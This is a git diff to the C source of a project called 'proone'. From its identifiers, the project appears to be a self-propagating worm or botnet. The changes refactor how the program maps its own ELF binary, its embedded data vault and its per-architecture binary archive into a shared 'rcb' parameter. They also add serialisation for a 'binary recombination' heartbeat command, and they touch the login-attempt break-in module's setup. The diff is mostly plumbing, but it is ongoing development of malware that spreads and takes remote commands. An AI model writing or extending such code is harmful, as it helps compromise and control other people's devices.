@@ static void test_enum (void) { assert(i == prne_arch_fstr(prne_arch_tostr(i))); } - for (prne_arch_t i = 0; i < NB_PRNE_ARCH; i += 1) { + for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { assert(prne_arch_tostr(i) != NULL); } for (prne_htbt_ser_rc_t i = 0; i < NB_PRNE_HTBT_SER_RC; i += 1) { diff --git a/src/proone.c b/src/proone.c index 5fcd706..4429204 100644 --- a/src/proone.c +++ b/src/proone.c @@ -226,6 +226,7 @@ static void alloc_htbt (void) { param.cb_f.hostinfo = cb_htbt_hostinfo; param.cb_f.tmpfile = cb_htbt_tmpfile; param.cb_f.upbin = cb_htbt_upbin; + param.rcb = &prne_g.rcb_param; param.blackhole = prne_g.blackhole[1]; htbt = prne_alloc_htbt( @@ -665,8 +666,8 @@ static void set_env (void) { } static void setup_dvault (void) { - prne_g.m_dvault = (uint8_t*)prne_malloc(1, prne_g.dvault_size); - memcpy(prne_g.m_dvault, prne_g.m_exec_dvault, prne_g.dvault_size); + prne_g.m_dvault = (uint8_t*)prne_malloc(1, prne_g.rcb_param.dv_len); + memcpy(prne_g.m_dvault, prne_g.rcb_param.m_dv, prne_g.rcb_param.dv_len); prne_init_dvault(prne_g.m_dvault); } @@ -699,7 +700,7 @@ static void init_proone (const char *self) { prne_assert(fd >= 0); file_size = lseek(fd, 0, SEEK_END); prne_assert(file_size >= (off_t)sizeof(ELF_EHDR_TYPE)); - prne_g.m_exec = (const uint8_t*)mmap( + prne_g.rcb_param.m_self = (const uint8_t*)mmap( NULL, file_size, PROT_READ, @@ -707,10 +708,10 @@ static void init_proone (const char *self) { fd, 0); prne_close(fd); - prne_assert(prne_g.m_exec != MAP_FAILED); + prne_assert(prne_g.rcb_param.m_self != MAP_FAILED); // Use header - elf = (ELF_EHDR_TYPE*)prne_g.m_exec; + elf = (ELF_EHDR_TYPE*)prne_g.rcb_param.m_self; prne_assert( elf->e_ident[EI_MAG0] == ELFMAG0 && elf->e_ident[EI_MAG1] == ELFMAG1 && @@ -719,32 +720,36 @@ static void init_proone (const char *self) { prne_assert(elf->e_ident[EI_CLASS] == EXPTD_CLASS); prne_assert(elf->e_ident[EI_DATA] == EXPTD_DATA); - prne_g.self_size = (size_t)file_size; - prne_g.exec_size = elf->e_shoff + (elf->e_shentsize * elf->e_shnum); - prne_g.exec_size = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT); + prne_g.rcb_param.self_len = (size_t)file_size; + prne_g.rcb_param.exec_len = + elf->e_shoff + + (elf->e_shentsize * elf->e_shnum); + prne_g.rcb_param.exec_len = prne_salign_next( + prne_g.rcb_param.exec_len, + PRNE_BIN_ALIGNMENT); prne_massert( - prne_g.exec_size + 8 <= (size_t)file_size, + prne_g.rcb_param.exec_len + 8 <= (size_t)file_size, "No appendix!"); // Read sizes - prne_g.dvault_size = - (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 | - (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0; + prne_g.rcb_param.dv_len = + (uint_fast16_t)prne_g.rcb_param.m_self[prne_g.rcb_param.exec_len + 0] << 8 | + (uint_fast16_t)prne_g.rcb_param.m_self[prne_g.rcb_param.exec_len + 1] << 0; - dvault_ofs = prne_g.exec_size + 8; + dvault_ofs = prne_g.rcb_param.exec_len + 8; binarch_ofs = dvault_ofs + prne_salign_next( - prne_g.dvault_size, + prne_g.rcb_param.dv_len, PRNE_BIN_ALIGNMENT); binarch_size = file_size - binarch_ofs; // Load dvault - prne_assert(dvault_ofs + prne_g.dvault_size <= (size_t)file_size); - prne_g.m_exec_dvault = prne_g.m_exec + dvault_ofs; + prne_assert(dvault_ofs + prne_g.rcb_param.dv_len <= (size_t)file_size); + prne_g.rcb_param.m_dv = prne_g.rcb_param.m_self + dvault_ofs; setup_dvault(); if (binarch_size > 0) { prne_index_bin_archive( - prne_g.m_exec + binarch_ofs, + prne_g.rcb_param.m_self + binarch_ofs, binarch_size, &prne_g.bin_archive); } @@ -1242,14 +1247,7 @@ static void init_bne (void) { bne_param.cb.enter_dd = bne_cb_enter_dd; bne_param.cb.exit_dd = bne_cb_exit_dd; - bne_param.rcb.m_self = prne_g.m_exec; - bne_param.rcb.self_len = prne_g.self_size; - bne_param.rcb.exec_len = prne_g.exec_size; - bne_param.rcb.m_dv = prne_g.m_exec_dvault; - bne_param.rcb.dv_len = prne_g.dvault_size; - bne_param.rcb.ba = &prne_g.bin_archive; - bne_param.rcb.self = prne_host_arch; - + bne_param.rcb = &prne_g.rcb_param; bne_param.login_attempt = PRNE_BNE_LOGIN_ATTEMPT; } @@ -1287,6 +1285,9 @@ int main (const int argc, const char **args) { prne_g.blackhole[0] = -1; prne_g.blackhole[1] = -1; prne_g.shm_fd = -1; + prne_init_rcb_param(&prne_g.rcb_param); + prne_g.rcb_param.ba = &prne_g.bin_archive; + prne_g.rcb_param.self = prne_host_arch; prne_init_bin_archive(&prne_g.bin_archive); mbedtls_x509_crt_init(&prne_g.ssl.ca); prne_mbedtls_entropy_init(&prne_g.ssl.entpy); @@ -1430,6 +1431,7 @@ WAIT_LOOP: END: deinit_bne(); + prne_free_rcb_param(&prne_g.rcb_param); prne_free_bin_archive(&prne_g.bin_archive); mbedtls_ssl_config_free(&prne_g.s_ssl.conf); diff --git a/src/proone.h b/src/proone.h index 5b73185..a53ac9d 100644 --- a/src/proone.h +++ b/src/proone.h @@ -28,14 +28,10 @@ struct prne_global { // TODO: tidy init code when finalised prne_resolv_t *resolv; pid_t parent_pid; pid_t child_pid; - uint8_t *m_dvault; - const uint8_t *m_exec; - size_t exec_size; - size_t self_size; - const uint8_t *m_exec_dvault; int blackhole[2]; int shm_fd; - uint16_t dvault_size; + prne_rcb_param_t rcb_param; + uint8_t *m_dvault; bool is_child; prne_bin_archive_t bin_archive; diff --git a/src/protocol.c b/src/protocol.c index 143e906..e01b92c 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -42,6 +42,7 @@ const char *prne_arch_tostr (const prne_arch_t x) { return "arceb"; } + errno = EINVAL; return NULL; } @@ -52,6 +53,7 @@ prne_arch_t prne_arch_fstr (const char *str) { } } + errno = EINVAL; return PRNE_ARCH_NONE; } @@ -125,6 +127,7 @@ const char *prne_htbt_op_tostr (const prne_htbt_op_t x) { case PRNE_HTBT_OP_STDIO: return "stdio"; case PRNE_HTBT_OP_RCB: return "rcb"; } + errno = EINVAL; return NULL; } @@ -523,6 +526,17 @@ bool prne_htbt_eq_stdio ( a->fin == b->fin; } +void prne_htbt_init_rcb (prne_htbt_rcb_t *r) { + r->arch = PRNE_ARCH_NONE; + r->compat = false; +} + +void prne_htbt_free_rcb (prne_htbt_rcb_t *r) {} + +bool prne_htbt_eq_rcb (const prne_htbt_rcb_t *a, const prne_htbt_rcb_t *b) { + return a->arch == b->arch && a->compat == b->compat; +} + prne_htbt_ser_rc_t prne_htbt_ser_msg_head ( uint8_t *mem, const size_t mem_len, @@ -738,6 +752,22 @@ prne_htbt_ser_rc_t prne_htbt_ser_stdio ( return PRNE_HTBT_SER_RC_OK; } +prne_htbt_ser_rc_t prne_htbt_ser_rcb ( + uint8_t *mem, + const size_t mem_len, + size_t *actual, + const prne_htbt_rcb_t *in) +{ + *actual = 2; + if (mem_len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + mem[0] = (uint8_t)in->arch; + mem[1] = (uint8_t)(in->compat ? 0x80 : 0x00); + + return PRNE_HTBT_SER_RC_OK; +} prne_htbt_ser_rc_t prne_htbt_dser_msg_head ( const uint8_t *data, @@ -989,6 +1019,23 @@ prne_htbt_ser_rc_t prne_htbt_dser_stdio ( return PRNE_HTBT_SER_RC_OK; } +prne_htbt_ser_rc_t prne_htbt_dser_rcb ( + const uint8_t *data, + const size_t len, + size_t *actual, + prne_htbt_rcb_t *out) +{ + *actual = 2; + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + out->arch = (prne_arch_t)data[0]; + out->compat = (data[1] & 0x80) != 0; + + return PRNE_HTBT_SER_RC_OK; +} + char **prne_htbt_parse_args ( char *m_args, const size_t args_size, @@ -1056,5 +1103,6 @@ const char *prne_htbt_serrc_tostr (const prne_htbt_ser_rc_t x) { case PRNE_HTBT_SER_RC_ERRNO: return "errno"; case PRNE_HTBT_SER_RC_FMT_ERR: return "format error"; } + errno = EINVAL; return NULL; } diff --git a/src/protocol.h b/src/protocol.h index 4e12396..e5003d7 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -22,9 +22,10 @@ typedef struct prne_htbt_cmd prne_htbt_cmd_t; typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t; typedef struct prne_htbt_hover prne_htbt_hover_t; typedef struct prne_htbt_stdio prne_htbt_stdio_t; +typedef struct prne_htbt_rcb prne_htbt_rcb_t; typedef enum { - PRNE_ARCH_NONE = -1, + PRNE_ARCH_NONE, PRNE_ARCH_I686, PRNE_ARCH_X86_64, @@ -41,7 +42,7 @@ typedef enum { NB_PRNE_ARCH } prne_arch_t; -PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFF); +PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFE); typedef enum { PRNE_IPV_NONE, @@ -174,7 +175,7 @@ typedef enum { /* Binary Recombination Operation * TODO * - * uint8_t arch + * uint8_t arch : "self" assumed if PRNE_ARCH_NONE * uint1_t compat : allow fallback to compatible arch * uint7_t rsv */ @@ -269,6 +270,11 @@ struct prne_htbt_stdio { bool fin; }; +struct prne_htbt_rcb { + prne_arch_t arch; + bool compat; +}; + typedef void(*prne_htbt_init_ft)(void *ptr); typedef void(*prne_htbt_free_ft)(void *ptr); typedef bool(*prne_htbt_eq_ft)(const void *a, const void *b); @@ -398,6 +404,10 @@ bool prne_htbt_eq_stdio ( const prne_htbt_stdio_t *a, const prne_htbt_stdio_t *b); +void prne_htbt_init_rcb (prne_htbt_rcb_t *r); +void prne_htbt_free_rcb (prne_htbt_rcb_t *r); +bool prne_htbt_eq_rcb (const prne_htbt_rcb_t *a, const prne_htbt_rcb_t *b); + prne_htbt_ser_rc_t prne_htbt_ser_msg_head ( uint8_t *mem, const size_t mem_len, @@ -433,6 +443,11 @@ prne_htbt_ser_rc_t prne_htbt_ser_stdio ( const size_t mem_len, size_t *actual, const prne_htbt_stdio_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_rcb ( + uint8_t *mem, + const size_t mem_len, + size_t *actual, + const prne_htbt_rcb_t *in); prne_htbt_ser_rc_t prne_htbt_dser_msg_head ( const uint8_t *data, @@ -469,6 +484,11 @@ prne_htbt_ser_rc_t prne_htbt_dser_stdio ( const size_t len, size_t *actual, prne_htbt_stdio_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_rcb ( + const uint8_t *data, + const size_t len, + size_t *actual, + prne_htbt_rcb_t *out); char **prne_htbt_parse_args ( char *m_args, diff --git a/src/resolv.c b/src/resolv.c index 817c9f8..b7f00e7 100644 --- a/src/resolv.c +++ b/src/resolv.c @@ -1609,6 +1609,7 @@ const char *prne_resolv_qr_tostr (const prne_resolv_qr_t qr) { case PRNE_RESOLV_QR_TIMEOUT: return "TIMEOUT"; case PRNE_RESOLV_QR_STATUS: return "STATUS"; } + errno = EINVAL; return NULL; } @@ -1621,6 +1622,7 @@ const char *prne_resolv_rcode_tostr (const prne_resolv_rcode_t rc) { case PRNE_RESOLV_RCODE_NOTIMP: return "NOTIMP"; case PRNE_RESOLV_RCODE_REFUSED: return "REFUSED"; } + errno = EINVAL; return NULL; } @@ -1635,5 +1637,6 @@ const char *prne_resolv_rrtype_tostr (const uint16_t rrt) { case PRNE_RESOLV_RTYPE_TXT: return "TXT"; case PRNE_RESOLV_RTYPE_AAAA: return "AAAA"; } + errno = EINVAL; return NULL; } |